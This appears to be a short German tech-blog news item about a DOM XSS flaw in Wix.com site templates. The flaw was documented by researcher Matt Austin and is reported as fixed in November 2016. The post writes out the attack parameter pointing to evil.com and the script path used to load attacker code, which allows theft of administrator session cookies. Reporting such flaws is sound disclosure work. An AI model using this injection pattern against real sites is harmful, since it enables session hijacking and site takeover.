Eine XSS-Sicherheitslücke in den vom Hoster Wix verwendeten Templates für Webseiten macht3 diese angreifbar für einen Wurm. Die Lücke scheint seit dem 3. November 2016 geschlossen.
Anzeige
Das Ganze wurde von Sicherheitsforscher Matt Austin in diesem Blog-Beitrag dokumentiert. Der Anbieter Wix.com hat eine veritable DOM XSS-Sicherheitslücke in seinen Seitenvorlagen, die es Angreifern ermöglicht, die Kontrolle über jede beim Anbieter gehostete Webseite zu erlangen. Dazu muss zur URL einer bei Wix.com gehosteten Seite nur der Parameter:
?ReactSource=http://evil.com
angehängt werden. Wird auf evil.com im Verzeichnis:
/packages-bin/wixCodeInit/wixCodeInit.min.js
Schadcode gehostet, kann dieses JavaScript unter der Ziel-Webseite laufen. Damit können über die XSS-Sicherheitslücke Sitzungs-Cookies des Administrators einer Wix-Subdomain gestohlen und für eigene Zwecke missbraucht werden. Matt Austin hat die Details in diesem Blog-Beitrag dokumentiert. Laut den Nachträgen im Beitrag ist die Sicherheitslücke seit dem 3. November 2016 geschlossen. (via)
2015
